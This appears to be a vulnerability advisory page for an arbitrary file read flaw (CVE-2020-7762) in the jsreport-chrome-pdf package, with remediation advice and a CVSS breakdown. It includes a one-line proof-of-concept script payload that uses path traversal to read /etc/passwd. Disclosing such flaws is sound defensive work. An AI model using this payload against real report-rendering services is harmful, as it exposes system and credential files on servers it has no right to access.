Arbitrary File Read

Affecting jsreport-chrome-pdf package, versions <1.10.0

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

jsreport-chrome-pdf is a

Affected versions of this package are vulnerable to Arbitrary File Read. An Arbitrary File Read vulnerability exists in lib/conversion.js.

PoC

<script>document.write(window.location='../../../../../etc/passwd')</script>

Remediation

Upgrade jsreport-chrome-pdf to version 1.10.0 or higher.

References

CVSS Score

6.5
medium severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    Low
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    None
  • Availability
    None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C
Credit
Anand Namana
CVE
CVE-2020-7762
CWE
CWE-22
Snyk ID
SNYK-JS-JSREPORTCHROMEPDF-1037310
Disclosed
05 Nov, 2020
Published
05 Nov, 2020